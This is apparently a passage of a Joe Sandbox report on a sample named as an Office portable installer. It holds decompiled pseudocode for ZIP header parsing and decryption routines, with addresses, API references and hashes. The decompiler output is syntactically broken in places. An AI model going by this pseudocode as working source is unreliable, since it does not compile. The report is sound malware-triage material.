				LONG* _v56;
				LONG* _v60;
				LONG* _v64;
				LONG* _v68;
				LONG* _v72;
				char _v76;
				char _v80;
				char _v84;
				unsigned int _v88;
				LONG* _v92;
				LONG* _v96;
				LONG* _v100;
				void _v104;
				void* _t105;
				void* _t107;
				void* _t108;
				void* _t110;
				void* _t112;
				void* _t113;
				void* _t129;
				void* _t131;
				void* _t133;
				void* _t135;
				void* _t137;
				void* _t141;
				void* _t143;
				void* _t144;
				void* _t146;
				void* _t147;
				signed int _t181;
				void* _t185;
				signed int _t186;
				signed int _t187;
				void*** _t188;
				void** _t189;
				signed int _t192;
				void* _t193;
				unsigned int _t202;
				void* _t224;
				signed int _t234;
				void* _t237;
				unsigned int _t244;
				void* _t257;
				signed int _t267;
				signed int _t270;
				signed int _t271;
				void* _t277;
				signed int* _t281;
				void* _t283;

				_t188 = __ecx;
				_t281 = __ecx;
				_v20 = __edx;
				if(__ecx != 0) {
					_t189 =  *__ecx;
					_t237 = __ecx[5] + __ecx[3];
					__eflags =  *_t189;
					if(__eflags == 0) {
						_t189[7] = _t237;
						goto L6;
					} else {
						__eflags = _t189[0];
						if(__eflags == 0) {
							L7:
							_t181 = 0xffffffff;
						} else {
							SetFilePointer(_t189[1], _t189[3] + _t237, 0, 0); // executed
							L6:
							_t105 = E000C61E0( *_t281,  &_v12, __eflags);
							__eflags = _t105;
							if(_t105 == 0) {
								__eflags = _v12 - 0x2014b50;
								_t181 =  !=  ? 0xffffff99 : 0;
							} else {
								goto L7;
							}
						}
					}
					_t267 =  *_t281;
					_t107 = E000C6130(_t267,  &_v12);
					_t192 = _v12;
					_v16 = _t192;
					_t193 = _t192 | 0xffffffff;
					__eflags = _t107;
					if(_t107 != 0) {
						L13:
						__eflags = _t107;
						_v104 = 0;
						_t181 =  !=  ? _t193 : _t181;
					} else {
						_t234 = _t267;
						_t107 = E000C6130(_t234,  &_v12);
						__eflags = _t107;
						if(_t107 != 0) {
							_t193 = _t234 | 0xffffffff;
							__eflags = _t193;
							goto L13;
						} else {
							_v104 = (_v12 << 8) + _v16;
						}
					}
					_t268 =  *_t281;
					_t108 = E000C6130( *_t281,  &_v12);
					_v16 = _v12;
					__eflags = _t108;
					if(_t108 != 0) {
						L17:
						__eflags = _t108;
						_v100 = 0;
						_t181 =  !=  ? 0xffffffff : _t181;
					} else {
						_t108 = E000C6130(_t268,  &_v12);
						__eflags = _t108;
						if(_t108 != 0) {
							goto L17;
						} else {
							_v100 = (_v12 << 8) + _v16;
						}
					}
					_t269 =  *_t281;
					_t110 = E000C6130( *_t281,  &_v12);
					_v16 = _v12;
					__eflags = _t110;
					if(_t110 != 0) {
						L21:
						__eflags = _t110;
						_v96 = 0;
						_t181 =  !=  ? 0xffffffff : _t181;
					} else {
						_t110 = E000C6130(_t269,  &_v12);
						__eflags = _t110;
						if(_t110 != 0) {
							goto L21;
						} else {
							_v96 = (_v12 << 8) + _v16;
						}
					}
					_t270 =  *_t281;
					_t112 = E000C6130(_t270,  &_v12);
					_v16 = _v12;
					__eflags = _t112;
					if(_t112 != 0) {
						L25:
						__eflags = _t112;
						_t271 = 0xffffffff;
						_v92 = 0;
						_t181 =  !=  ? 0xffffffff : _t181;
					} else {
						_t112 = E000C6130(_t270,  &_v12);
						__eflags = _t112;
						if(__eflags != 0) {
							goto L25;
						} else {
							_t271 = _t270 | 0xffffffff;
							_v92 = (_v12 << 8) + _v16;
						}
					}
					_t113 = E000C61E0( *_t281,  &_v88, __eflags);
					_t244 = _v88;
					__eflags = _t113;
					_t182 =  !=  ? _t271 : _t181;
					_t202 = _t244 >> 0x10;
					_v36 = _t202 & 0x0000001f;
					_v32 = (_t202 >> 0x00000005 & 0x0000000f) - 1;
					_v40 = _t244 >> 0x0000000b & 0x0000001f;
					_v28 = (_t202 >> 0x00000009 & 0x0000007f) + 0x7bc;
					_v48 = (_t244 & 0x0000001f) + (_t244 & 0x0000001f);
					_v44 = _t244 >> 0x00000005 & 0x0000003f;
					__eflags = E000C61E0( *_t281,  &_v84, _t113);
					_t183 =  !=  ? _t271 :  !=  ? _t271 : _t181;
					__eflags = E000C61E0( *_t281,  &_v80, E000C61E0( *_t281,  &_v84, _t113));
					_t184 =  !=  ? _t271 :  !=  ? _t271 :  !=  ? _t271 : _t181;
					__eflags = E000C61E0( *_t281,  &_v76, E000C61E0( *_t281,  &_v80, E000C61E0( *_t281,  &_v84, _t113)));
					_t185 =  !=  ? _t271 :  !=  ? _t271 :  !=  ? _t271 :  !=  ? _t271 : _t181;
					_t272 =  *_t281;
					_t129 = E000C6130( *_t281,  &_v12);
					_v16 = _v12;
					__eflags = _t129;
					if(_t129 != 0) {
						L29:
						__eflags = _t129;
						_v72 = 0;
						_t185 =  !=  ? 0xffffffff : _t185;
						__eflags = _t185;
					} else {
						_t129 = E000C6130(_t272,  &_v12);
						__eflags = _t129;
						if(_t129 != 0) {
							goto L29;
						} else {
							_v72 = (_v12 << 8) + _v16;
						}
					}
					_t273 =  *_t281;
					_t131 = E000C6130( *_t281,  &_v12);
					_v16 = _v12;
					__eflags = _t131;
					if(_t131 != 0) {
						L33:
						__eflags = _t131;
						_v68 = 0;
						_t185 =  !=  ? 0xffffffff : _t185;
						__eflags = _t185;
					} else {
						_t131 = E000C6130(_t273,  &_v12);
						__eflags = _t131;
						if(_t131 != 0) {
							goto L33;
						} else {
							_v68 = (_v12 << 8) + _v16;
						}
					}
					_t274 =  *_t281;
					_t133 = E000C6130( *_t281,  &_v12);
					_v16 = _v12;
					__eflags = _t133;
					if(_t133 != 0) {
						L37:
						__eflags = _t133;
						_v64 = 0;
						_t185 =  !=  ? 0xffffffff : _t185;
						__eflags = _t185;
					} else {
						_t133 = E000C6130(_t274,  &_v12);
						__eflags = _t133;
						if(_t133 != 0) {
							goto L37;
						} else {
							_v64 = (_v12 << 8) + _v16;
						}
					}
					_t275 =  *_t281;
					_t135 = E000C6130( *_t281,  &_v12);
					_v16 = _v12;
					__eflags = _t135;
					if(_t135 != 0) {
						L41:
						__eflags = _t135;
						_v60 = 0;
						_t185 =  !=  ? 0xffffffff : _t185;
					} else {
						_t135 = E000C6130(_t275,  &_v12);
						__eflags = _t135;
						if(_t135 != 0) {
							goto L41;
						} else {
							_v60 = (_v12 << 8) + _v16;
						}
					}
					_t276 =  *_t281;
					_t137 = E000C6130( *_t281,  &_v12);
					_v16 = _v12;
					__eflags = _t137;
					if(_t137 != 0) {
						L45:
						__eflags = _t137;
						_v56 = 0;
						_t185 =  !=  ? 0xffffffff : _t185;
					} else {
						_t137 = E000C6130(_t276,  &_v12);
						__eflags = _t137;
						if(__eflags != 0) {
							goto L45;
						} else {
							_v56 = (_v12 << 8) + _v16;
						}
					}
					__eflags = E000C61E0( *_t281,  &_v52, __eflags);
					_t186 =  !=  ? 0xffffffff : _t185;
					_t141 = E000C61E0( *_t281,  &_v16, E000C61E0( *_t281,  &_v52, __eflags));
					__eflags = _t141;
					if(_t141 == 0) {
						__eflags = _t186;
						if(_t186 != 0) {
							L60:
							return _t186;
						} else {
							_t277 = _a8;
							__eflags = _t277;
							if(_t277 == 0) {
								L56:
								_t143 = _v20;
								__eflags = _t143;
								if(_t143 != 0) {
									memcpy(_t143,  &_v104, 0x14 << 2);
								}
								_t144 = _a4;
								__eflags = _t144;
								if(_t144 != 0) {
									 *_t144 = _v16;
								}
								goto L60;
							} else {
								_t146 = _v72;
								_t224 = _a12;
								__eflags = _t146 - _t224;
								if(_t146 >= _t224) {
									_t257 = _t224;
								} else {
									 *(_t146 + _t277) = _t186;
									_t257 = _t146;
								}
								__eflags = _t146;
								if(_t146 == 0) {
									goto L56;
								} else {
									__eflags = _t224;
									if(_t224 == 0) {
										goto L56;
									} else {
										_t147 = E000C60A0(_t277, _t257, 1,  *_t281);
										_t283 = _t283 + 8;
										__eflags = _t147 - 1;
										if(_t147 != 1) {
											goto L47;
										} else {
											goto L56;
										}
									}
								}
							}
						}
					} else {
						L47:
						_t187 = _t186 | 0xffffffff;
						__eflags = _t187;
						return _t187;
					}
				} else {
					_t2 = _t188 - 0x66; // -102
					return _t2;
				}
			}

0x000c66b0
0x000c66b8
0x000c66bd
0x000c66c2
0x000c66d1
0x000c66d3
0x000c66d6
0x000c66d8
0x000c66f4
0x00000000
0x000c66da
0x000c66da
0x000c66dd
0x000c6705
0x000c6705
0x000c66df
0x000c66ec
0x000c66f7
0x000c66fc
0x000c6701
0x000c6703
0x000c670a
0x000c6716
0x00000000
0x00000000
0x00000000
0x000c6703
0x000c66dd
0x000c6719
0x000c6720
0x000c6725
0x000c6728
0x000c672b
0x000c672e
0x000c6730
0x000c6751
0x000c6751
0x000c6753
0x000c675a
0x000c6732
0x000c6735
0x000c6737
0x000c673c
0x000c673e
0x000c674e
0x000c674e
0x00000000
0x000c6740
0x000c6749
0x000c6749
0x000c673e
0x000c675d
0x000c6764
0x000c676c
0x000c676f
0x000c6771
0x000c678f
0x000c678f
0x000c6796
0x000c679d
0x000c6773
0x000c6778
0x000c677d
0x000c677f
0x00000000
0x000c6781
0x000c678a
0x000c678a
0x000c677f
0x000c67a0
0x000c67a7
0x000c67af
0x000c67b2
0x000c67b4
0x000c67d2
0x000c67d2
0x000c67d9
0x000c67e0
0x000c67b6
0x000c67bb
0x000c67c0
0x000c67c2
0x00000000
0x000c67c4
0x000c67cd
0x000c67cd
0x000c67c2
0x000c67e3
0x000c67ea
0x000c67f2
0x000c67f5
0x000c67f7
0x000c6818
0x000c6818
0x000c681a
0x000c681f
0x000c6826
0x000c67f9
0x000c67fe
0x000c6803
0x000c6805
0x00000000
0x000c6807
0x000c6810
0x000c6813
0x000c6813
0x000c6805
0x000c682e
0x000c6833
0x000c6836
0x000c6838
0x000c683d
0x000c6845
0x000c6851
0x000c685f
0x000c6875
0x000c687d
0x000c6883
0x000c688d
0x000c6892
0x000c689c
0x000c68a1
0x000c68a9
0x000c68ab
0x000c68ae
0x000c68b5
0x000c68bd
0x000c68c0
0x000c68c2
0x000c68e0
0x000c68e0
0x000c68e7
0x000c68ee
0x000c68ee
0x000c68c4
0x000c68c9
0x000c68ce
0x000c68d0
0x00000000
0x000c68d2
0x000c68db
0x000c68db
0x000c68d0
0x000c68f1
0x000c68f8
0x000c6900
0x000c6903
0x000c6905
0x000c6923
0x000c6923
0x000c692a
0x000c6931
0x000c6931
0x000c6907
0x000c690c
0x000c6911
0x000c6913
0x00000000
0x000c6915
0x000c691e
0x000c691e
0x000c6913
0x000c6934
0x000c693b
0x000c6943
0x000c6946
0x000c6948
0x000c6966
0x000c6966
0x000c696d
0x000c6974
0x000c6974
0x000c694a
0x000c694f
0x000c6954
0x000c6956
0x00000000
0x000c6958
0x000c6961
0x000c6961
0x000c6956
0x000c6977
0x000c697e
0x000c6986
0x000c6989
0x000c698b
0x000c69a9
0x000c69a9
0x000c69b0
0x000c69b7
0x000c698d
0x000c6992
0x000c6997
0x000c6999
0x00000000
0x000c699b
0x000c69a4
0x000c69a4
0x000c6999
0x000c69ba
0x000c69c1
0x000c69c9
0x000c69cc
0x000c69ce
0x000c69ec
0x000c69ec
0x000c69f3
0x000c69fa
0x000c69d0
0x000c69d5
0x000c69da
0x000c69dc
0x00000000
0x000c69de
0x000c69e7
0x000c69e7
0x000c69dc
0x000c6a09
0x000c6a13
0x000c6a16
0x000c6a1b
0x000c6a1d
0x000c6a2b
0x000c6a2d
0x000c6a85
0x000c6a8b
0x000c6a2f
0x000c6a2f
0x000c6a32
0x000c6a34
0x000c6a64
0x000c6a64
0x000c6a67
0x000c6a69
0x000c6a75
0x000c6a75
0x000c6a77
0x000c6a7a
0x000c6a7c
0x000c6a81
0x000c6a81
0x00000000
0x000c6a36
0x000c6a36
0x000c6a39
0x000c6a3c
0x000c6a3e
0x000c6a47
0x000c6a40
0x000c6a40
0x000c6a43
0x000c6a43
0x000c6a49
0x000c6a4b
0x00000000
0x000c6a4d
0x000c6a4d
0x000c6a4f
0x00000000
0x000c6a51
0x000c6a57
0x000c6a5c
0x000c6a5f
0x000c6a62
0x00000000
0x00000000
0x00000000
0x00000000
0x000c6a62
0x000c6a4f
0x000c6a4b
0x000c6a34
0x000c6a1f
0x000c6a1f
0x000c6a1f
0x000c6a1f
0x000c6a2a
0x000c6a2a
0x000c66c4
0x000c66c4
0x000c66cd
0x000c66cd

APIs

SetFilePointer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000), ref: 000C66EC

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 7a77ae026bc272ae12a096a48b6aeb16b7dda2ed7ad4bfd40f65c07f7d965295
Instruction ID: 636289209f4542cd10b46eed0ce09a95375db6fa21267dd9260d6b5ea1f305e7
Opcode Fuzzy Hash: 7a77ae026bc272ae12a096a48b6aeb16b7dda2ed7ad4bfd40f65c07f7d965295
Instruction Fuzzy Hash: C8D16F75B002099FDF24DFA9C880BADB7F6AF84365F18466DD861E7381EB71DA058B40

Uniqueness

Uniqueness Score: -1.00%

Function 000C6AD0, Relevance: 1.7, APIs: 1, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000C6AD0(signed int* __ecx, intOrPtr* __edx, intOrPtr* _a4, signed int _a8) {
				signed int _v8;
				intOrPtr* _v12;
				signed int _v16;
				signed int _v20;
				signed int _t69;
				signed int _t72;
				signed int _t76;
				void* _t77;
				void* _t79;
				void* _t80;
				signed int _t82;
				void* _t87;
				signed int _t104;
				signed int _t110;
				signed char _t111;
				void* _t113;
				char* _t120;
				signed int _t125;
				signed int _t126;
				signed int _t143;
				signed int _t145;
				intOrPtr _t149;
				signed int _t154;
				signed int _t161;
				signed int* _t169;
				signed int _t173;
				signed int _t174;

				_v12 = __edx;
				 *__edx = 0;
				_t169 = __ecx;
				 *_a4 = 0;
				_t120 =  *((intOrPtr*)(__ecx));
				_t69 = _a8;
				_t149 =  *((intOrPtr*)(__ecx + 0xc)) +  *((intOrPtr*)(__ecx + 0x78));
				 *_t69 = 0;
				if( *_t120 == 0) {
					 *((intOrPtr*)(_t120 + 0x1c)) = _t149;
					L5:
					if(E000C61E0( *_t169,  &_v8, _t176) == 0) {
						__eflags = _v8 - 0x4034b50;
						_t173 =  !=  ? 0xffffff99 : 0;
					} else {
						_t173 = 0xffffffff;
					}
					_t109 =  *_t169;
					if(E000C6130( *_t169,  &_v8) != 0 || E000C6130(_t109,  &_v8) != 0) {
						_t173 = _t173 | 0xffffffff;
					}
					_t110 =  *_t169;
					_t72 = E000C6130(_t110,  &_v8);
					_t125 = _v8;
					_v16 = _t125;
					_t126 = _t125 | 0xffffffff;
					if(_t72 != 0) {
						L15:
						_t111 = 0;
						__eflags = _t72;
						_t173 =  !=  ? _t126 : _t173;
					} else {
						_t145 = _t110;
						_t72 = E000C6130(_t145,  &_v8);
						if(_t72 != 0) {
							_t126 = _t145 | 0xffffffff;
							__eflags = _t126;
							goto L15;
						} else {
							_t111 = (_v8 << 8) + _v16;
						}
					}
					_v16 =  *_t169;
					_t154 = E000C6130( *_t169,  &_v8);
					_v20 = _v8;
					if(_t154 != 0) {
						L22:
						_t76 = 0;
						_v8 = 0;
						__eflags = _t154;
						if(__eflags == 0) {
							goto L19;
						} else {
							_t173 = _t173 | 0xffffffff;
						}
					} else {
						_t154 = E000C6130(_v16,  &_v8);
						if(_t154 != 0) {
							goto L22;
						} else {
							_t76 = (_v8 << 8) + _v20;
							_v8 = _t76;
							L19:
							if(_t173 == 0) {
								_t143 = _t169[0xd];
								_t187 = _t76 - _t143;
								if(_t76 == _t143) {
									__eflags = _t143;
									if(__eflags != 0) {
										__eflags = _t143 - 8;
										_t173 =  !=  ? 0xffffff99 : _t173;
									}
								} else {
									_t173 = 0xffffff99;
								}
							}
						}
					}
					_t77 = E000C61E0( *_t169,  &_v8, _t187);
					_t174 =  !=  ? 0xffffffff : _t173;
					_t79 = E000C61E0( *_t169,  &_v8, _t77);
					_t189 = _t79;
					if(_t79 == 0) {
						__eflags = _t174;
						if(__eflags == 0) {
							__eflags = _v8 - _t169[0xf];
							if(__eflags != 0) {
								__eflags = _t111 & 0x00000008;
								_t174 =  ==  ? 0xffffff99 : _t174;
							}
						}
					} else {
						_t174 = _t174 | 0xffffffff;
					}
					_t80 = E000C61E0( *_t169,  &_v8, _t189);
					_t190 = _t80;
					if(_t80 == 0) {
						__eflags = _t174;
						if(__eflags == 0) {
							__eflags = _v8 - _t169[0x10];
							if(__eflags != 0) {
								__eflags = _t111 & 0x00000008;
								_t174 =  ==  ? 0xffffff99 : _t174;
							}
						}
					} else {
						_t174 = _t174 | 0xffffffff;
					}
					if(E000C61E0( *_t169,  &_v8, _t190) == 0) {
						__eflags = _t174;
						if(_t174 == 0) {
							__eflags = _v8 - _t169[0x11];
							if(_v8 != _t169[0x11]) {
								__eflags = _t111 & 0x00000008;
								_t174 =  ==  ? 0xffffff99 : _t174;
								__eflags = _t174;
							}
						}
					} else {
						_t174 = _t174 | 0xffffffff;
					}
					_t112 =  *_t169;
					_t82 = E000C6130( *_t169,  &_v8);
					_v20 = _v8;
					if(_t82 != 0) {
						L49:
						_t113 = 0;
						__eflags = _t82;
						if(_t82 == 0) {
							goto L44;
						} else {
							_t174 = _t174 | 0xffffffff;
							goto L46;
						}
						goto L53;
					} else {
						_t82 = E000C6130(_t112,  &_v8);
						if(_t82 != 0) {
							goto L49;
						} else {
							_t113 = (_v8 << 8) + _v20;
							L44:
							if(_t174 == 0) {
								_t174 =  !=  ? 0xffffff99 : _t174;
							}
						}
					}
					L46:
					 *_v12 =  *_v12 + _t113;
					_v20 =  *_t169;
					_t161 = E000C6130( *_t169,  &_v8);
					_v16 = _v8;
					if(_t161 != 0) {
						L51:
						_t87 = 0;
						__eflags = _t161;
						_t174 =  !=  ? 0xffffffff : _t174;
						__eflags = _t174;
					} else {
						_t161 = E000C6130(_v20,  &_v8);
						if(_t161 != 0) {
							goto L51;
						} else {
							_t87 = (_v8 << 8) + _v16;
						}
					}
					 *_a4 = _t169[0x1e] + 0x1e + _t113;
					 *_a8 = _t87;
					 *_v12 =  *_v12 + _t87;
					return _t174;
				} else {
					_t176 =  *((char*)(_t120 + 1));
					if( *((char*)(_t120 + 1)) == 0) {
						_t104 = _t69 | 0xffffffff;
						__eflags = _t104;
						return _t104;
					} else {
						SetFilePointer( *(_t120 + 4),  *((intOrPtr*)(_t120 + 0xc)) + _t149, 0, 0); // executed
						goto L5;
					}
				}
				L53:
			}

0x000c6adb
0x000c6ade
0x000c6ae4
0x000c6ae6
0x000c6aeb
0x000c6aed
0x000c6af0
0x000c6af6
0x000c6af8
0x000c6b1c
0x000c6b1f
0x000c6b30
0x000c6b37
0x000c6b3e
0x000c6b32
0x000c6b32
0x000c6b32
0x000c6b42
0x000c6b50
0x000c6b60
0x000c6b60
0x000c6b63
0x000c6b6a
0x000c6b6f
0x000c6b72
0x000c6b75
0x000c6b7a
0x000c6b98
0x000c6b98
0x000c6b9a
0x000c6b9c
0x000c6b7c
0x000c6b7f
0x000c6b81
0x000c6b88
0x000c6b95
0x000c6b95
0x00000000
0x000c6b8a
0x000c6b90
0x000c6b90
0x000c6b88
0x000c6ba6
0x000c6bae
0x000c6bb3
0x000c6bb8
0x000c6be9
0x000c6be9
0x000c6beb
0x000c6bee
0x000c6bf0
0x00000000
0x000c6bf2
0x000c6bf2
0x000c6bf2
0x000c6bba
0x000c6bc5
0x000c6bc9
0x00000000
0x000c6bcb
0x000c6bd1
0x000c6bd4
0x000c6bd7
0x000c6bd9
0x000c6bdb
0x000c6bde
0x000c6be0
0x000c6bf7
0x000c6bf9
0x000c6bfb
0x000c6c03
0x000c6c03
0x000c6be2
0x000c6be2
0x000c6be2
0x000c6be0
0x000c6bd9
0x000c6bc9
0x000c6c0b
0x000c6c1c
0x000c6c1f
0x000c6c24
0x000c6c26
0x000c6c2d
0x000c6c2f
0x000c6c34
0x000c6c37
0x000c6c39
0x000c6c41
0x000c6c41
0x000c6c37
0x000c6c28
0x000c6c28
0x000c6c28
0x000c6c49
0x000c6c4e
0x000c6c50
0x000c6c57
0x000c6c59
0x000c6c5e
0x000c6c61
0x000c6c63
0x000c6c6b
0x000c6c6b
0x000c6c61
0x000c6c52
0x000c6c52
0x000c6c52
0x000c6c7a
0x000c6c81
0x000c6c83
0x000c6c88
0x000c6c8b
0x000c6c8d
0x000c6c95
0x000c6c95
0x000c6c95
0x000c6c8b
0x000c6c7c
0x000c6c7c
0x000c6c7c
0x000c6c98
0x000c6c9f
0x000c6ca7
0x000c6cac
0x000c6d10
0x000c6d10
0x000c6d12
0x000c6d14
0x00000000
0x000c6d16
0x000c6d16
0x00000000
0x000c6d16
0x00000000
0x000c6cae
0x000c6cb3
0x000c6cba
0x00000000
0x000c6cbc
0x000c6cc2
0x000c6cc5
0x000c6cc7
0x000c6cd1
0x000c6cd1
0x000c6cc7
0x000c6cba
0x000c6cd4
0x000c6cda
0x000c6ce0
0x000c6ce8
0x000c6ced
0x000c6cf2
0x000c6d1b
0x000c6d1b
0x000c6d1d
0x000c6d24
0x000c6d24
0x000c6cf4
0x000c6cff
0x000c6d03
0x00000000
0x000c6d05
0x000c6d0b
0x000c6d0b
0x000c6d03
0x000c6d32
0x000c6d38
0x000c6d3e
0x000c6d46
0x000c6afa
0x000c6afa
0x000c6afe
0x000c6b14
0x000c6b14
0x000c6b1b
0x000c6b00
0x000c6b0b
0x00000000
0x000c6b0b
0x000c6afe
0x00000000

APIs

SetFilePointer.KERNELBASE(FFFFFFFF,?,00000000,00000000,?,?,?,000C7414,?,?), ref: 000C6B0B

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d891295d16d4d594219b3e2ef471437f0fe779be9e0ddce3b4755ec2b37cc4a9
Instruction ID: 54620c1ee79b4a1782c41b2aa3ab5980332d124e7e09391777e3f416d0b62e92
Opcode Fuzzy Hash: d891295d16d4d594219b3e2ef471437f0fe779be9e0ddce3b4755ec2b37cc4a9
Instruction Fuzzy Hash: 6E912A71A00616DBCB74CF68C990AADB7F1EF85361B24476DDC21D7295EB72EE009B80

Uniqueness

Uniqueness Score: -1.00%

Function 000C6ED0, Relevance: 1.7, APIs: 1, Instructions: 237
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000C6ED0(void* __ecx, intOrPtr __edx, intOrPtr _a4, char* _a8) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _t97;
				intOrPtr _t103;
				intOrPtr _t104;
				intOrPtr _t106;
				intOrPtr _t111;
				signed int _t113;
				intOrPtr _t115;
				char _t122;
				void* _t125;
				intOrPtr _t126;
				signed int _t127;
				void* _t128;
				intOrPtr _t129;
				void* _t131;
				char* _t134;
				char* _t135;
				char* _t141;
				signed int _t142;
				intOrPtr _t145;
				void* _t148;
				intOrPtr _t151;
				intOrPtr _t154;
				intOrPtr _t155;
				void* _t156;
				intOrPtr* _t157;
				intOrPtr _t158;
				void* _t159;

				_t128 = __ecx;
				_t151 = __edx;
				_t141 = _a8;
				_t122 = 0;
				_v8 = 0;
				_v12 = 0;
				if(_t141 != 0) {
					 *_t141 = 0;
				}
				if(_t128 != 0) {
					_t157 =  *((intOrPtr*)(_t128 + 0x7c));
					_v24 = _t157;
					if(_t157 == 0) {
						goto L3;
					} else {
						if( *_t157 != 0) {
							_t97 = _a4;
							if(_t97 == 0) {
								L45:
								return 0;
							} else {
								_t129 =  *((intOrPtr*)(_t157 + 0x5c));
								 *((intOrPtr*)(_t157 + 0x10)) = _t151;
								 *((intOrPtr*)(_t157 + 0x14)) = _t97;
								if(_t97 > _t129) {
									 *((intOrPtr*)(_t157 + 0x14)) = _t129;
								}
								if( *((intOrPtr*)(_t157 + 0x14)) <= _t122) {
									L42:
									return _t122;
								} else {
									do {
										if( *(_t157 + 8) != 0) {
											L26:
											_t142 =  *(_t157 + 8);
											_t131 =  >  ? _t142 :  *((intOrPtr*)(_t157 + 0x7c));
											if(_t131 == 0) {
												L29:
												if( *((intOrPtr*)(_t157 + 0x64)) != 0) {
													_v8 = E000C5C50(_t157 + 4);
													_v20 =  *((intOrPtr*)(_t157 + 0x18)) -  *((intOrPtr*)(_t157 + 0x18));
													_t103 = E000C5770( *((intOrPtr*)(_t157 + 0x50)),  *((intOrPtr*)(_t157 + 0x10)),  *((intOrPtr*)(_t157 + 0x18)) -  *((intOrPtr*)(_t157 + 0x18)));
													_t122 = _v8;
													 *((intOrPtr*)(_t157 + 0x50)) = _t103;
													_t104 = _v20;
													 *((intOrPtr*)(_t157 + 0x5c)) =  *((intOrPtr*)(_t157 + 0x5c)) - _t104;
													_t154 = _v12 + _t104;
													_t159 = _t159 + 4;
													_v12 = _t154;
													if(_t122 == 1 ||  *((intOrPtr*)(_t157 + 0x5c)) == 0) {
														_t134 = _a8;
														if(_t134 != 0) {
															 *_t134 = 1;
														}
														return _t154;
													} else {
														if(_t122 != 0) {
															goto L42;
														} else {
															_t141 = _a8;
															goto L39;
														}
													}
												} else {
													_t125 =  <  ?  *((void*)(_t157 + 0x14)) :  *(_t157 + 8);
													_t148 = 0;
													if(_t125 != 0) {
														do {
															 *((char*)(_t148 +  *((intOrPtr*)(_t157 + 0x10)))) =  *((intOrPtr*)(_t148 +  *((intOrPtr*)(_t157 + 4))));
															_t148 = _t148 + 1;
														} while (_t148 < _t125);
													}
													_t155 =  *((intOrPtr*)(_t157 + 0x10));
													_t106 = E000C5770( *((intOrPtr*)(_t157 + 0x50)), _t155, _t125);
													 *((intOrPtr*)(_t157 + 0x5c)) =  *((intOrPtr*)(_t157 + 0x5c)) - _t125;
													 *(_t157 + 8) =  *(_t157 + 8) - _t125;
													 *((intOrPtr*)(_t157 + 0x14)) =  *((intOrPtr*)(_t157 + 0x14)) - _t125;
													 *((intOrPtr*)(_t157 + 4)) =  *((intOrPtr*)(_t157 + 4)) + _t125;
													 *((intOrPtr*)(_t157 + 0x18)) =  *((intOrPtr*)(_t157 + 0x18)) + _t125;
													_v12 = _v12 + _t125;
													_t141 = _a8;
													 *((intOrPtr*)(_t157 + 0x50)) = _t106;
													_t122 = _v8;
													_t159 = _t159 + 4;
													 *((intOrPtr*)(_t157 + 0x10)) = _t155 + _t125;
													if( *((intOrPtr*)(_t157 + 0x5c)) == 0 && _t141 != 0) {
														 *_t141 = 1;
													}
													goto L39;
												}
											} else {
												_t111 =  *((intOrPtr*)(_t157 + 4)) + _t131;
												_t126 =  *((intOrPtr*)(_t111 - 1));
												 *((intOrPtr*)(_t157 + 0x5c)) =  *((intOrPtr*)(_t157 + 0x5c)) - _t131;
												_t43 = _t157 + 0x7c;
												 *_t43 =  *((intOrPtr*)(_t157 + 0x7c)) - _t131;
												 *(_t157 + 8) = _t142 - _t131;
												 *((intOrPtr*)(_t157 + 4)) = _t111;
												if( *_t43 != 0 || _t126 ==  *((intOrPtr*)(_t157 + 0x80))) {
													goto L29;
												} else {
													return 0xffffff96;
												}
											}
										} else {
											_t113 =  *(_t157 + 0x58);
											if(_t113 == 0) {
												goto L26;
											} else {
												_t127 = 0x4000;
												if(_t113 >= 0x4000) {
													L16:
													_t135 =  *((intOrPtr*)(_t157 + 0x60));
													_t145 =  *((intOrPtr*)(_t157 + 0x68)) +  *((intOrPtr*)(_t157 + 0x3c));
													if( *_t135 == 0) {
														 *((intOrPtr*)(_t135 + 0x1c)) = _t145;
														goto L20;
													} else {
														if( *((char*)(_t135 + 1)) == 0) {
															L46:
															return _t113 | 0xffffffff;
														} else {
															SetFilePointer( *(_t135 + 4),  *((intOrPtr*)(_t135 + 0xc)) + _t145, 0, 0); // executed
															L20:
															_t113 = E000C60A0( *_t157, _t127, 1,  *((intOrPtr*)(_t157 + 0x60)));
															_t159 = _t159 + 8;
															if(_t113 != 1) {
																goto L46;
															} else {
																_t115 =  *_t157;
																 *((intOrPtr*)(_t157 + 0x3c)) =  *((intOrPtr*)(_t157 + 0x3c)) + _t127;
																 *(_t157 + 0x58) =  *(_t157 + 0x58) - _t127;
																_v16 = _t115;
																 *((intOrPtr*)(_t157 + 4)) = _t115;
																 *(_t157 + 8) = _t127;
																if( *((char*)(_t157 + 0x6c)) != 0) {
																	_t156 = 0;
																	if(_t127 != 0) {
																		_t116 = _t157 + 0x70;
																		_t158 = _v16;
																		_v20 = _t157 + 0x70;
																		do {
																			 *((char*)(_t156 + _t158)) = E000C58D0(_t116,  *((intOrPtr*)(_t156 + _t158)));
																			_t116 = _v20;
																			_t156 = _t156 + 1;
																		} while (_t156 < _t127);
																		_t157 = _v24;
																	}
																}
																goto L26;
															}
														}
													}
												} else {
													_t127 = _t113;
